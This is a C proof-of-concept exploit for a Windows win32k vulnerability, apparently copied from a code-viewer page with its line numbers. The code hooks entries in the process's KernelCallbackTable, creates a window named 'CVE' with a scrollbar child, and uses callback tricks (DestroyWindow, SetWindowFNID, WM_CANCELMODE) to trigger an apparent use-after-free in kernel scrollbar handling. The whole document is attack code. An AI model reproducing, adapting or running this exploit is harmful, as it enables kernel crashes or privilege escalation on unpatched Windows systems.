1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <stdio.h> #include <Psapi.h> #include <intrin.h> #include"targetver.h"
BOOL f3 = FALSE; BOOL bMSGSENT = FALSE; HWND hMainWND; HWND hSBWND; HWND hSBWNDnew;
EXTERN_C PULONG64 GetKernelCallbackTableBase(); EXTERN_C VOID SetWindowFNID(HWND hWnd, LONG64 FNID);
typedef ULONG64(WINAPI *fct_fnDispatch64)(PULONG64); fct_fnDispatch64 fnDWORD, fnClientFreeWindowClassExtraBytes;
void fnDWORDCallBack(PULONG64 msg) { if (bMSGSENT && *msg) { bMSGSENT = FALSE; DestroyWindow(hMainWND); }
if ((f3==TRUE) && (*(msg + 1) == 0x70) && (*((PULONG64)(*msg)) == (ULONG64)hMainWND)) { SendMessage(hSBWNDnew, WM_CANCELMODE, 0, 0);
} fnDWORD(msg); }
void fnClientFreeWindowClassExtraBytesCallBack(PULONG64 msg) { if (*(PULONG64)*((PULONG64)*(msg - 11)) == (ULONG64)hMainWND) { hSBWNDnew = CreateWindowEx(0, "ScrollBar", "SB", SWP_HIDEWINDOW | SB_HORZ, 0, 0, 0, 0, NULL, NULL, NULL, NULL); SetWindowFNID(hMainWND, 0x2A1); SetCapture(hSBWNDnew); f3 = TRUE; } fnClientFreeWindowClassExtraBytes(msg); }
int main() { DWORD OldProtect = 0; PULONG64 CallbackTb = GetKernelCallbackTableBase(); VirtualProtect(CallbackTb, 512, PAGE_READWRITE, &OldProtect); CallbackTb += 2; fnDWORD = (fct_fnDispatch64)*CallbackTb; *CallbackTb = (ULONG64)fnDWORDCallBack;
CallbackTb += 124; fnClientFreeWindowClassExtraBytes = (fct_fnDispatch64)*CallbackTb; *CallbackTb = (ULONG64)fnClientFreeWindowClassExtraBytesCallBack;
WNDCLASSEXW wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = DefWindowProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 4; wcex.hInstance = 0; wcex.hIcon = LoadIcon(0, NULL); wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wcex.lpszMenuName = NULL; wcex.lpszClassName = L"WNDCLASSMAIN"; wcex.hIconSm = LoadIcon(wcex.hInstance, NULL); RegisterClassExW(&wcex);
hMainWND = CreateWindowW(L"WNDCLASSMAIN", L"CVE", WS_DISABLED, 2, 2, 40, 40, NULL, NULL, 0, NULL); hSBWND = CreateWindowEx(0, "ScrollBar", "SB", WS_CHILD | WS_VISIBLE | SBS_HORZ, 0, 0, 20, 20, hMainWND, NULL, 0, NULL);
bMSGSENT = TRUE; SendMessage(hSBWND, WM_LBUTTONDOWN, 0, 0x00020002); }
|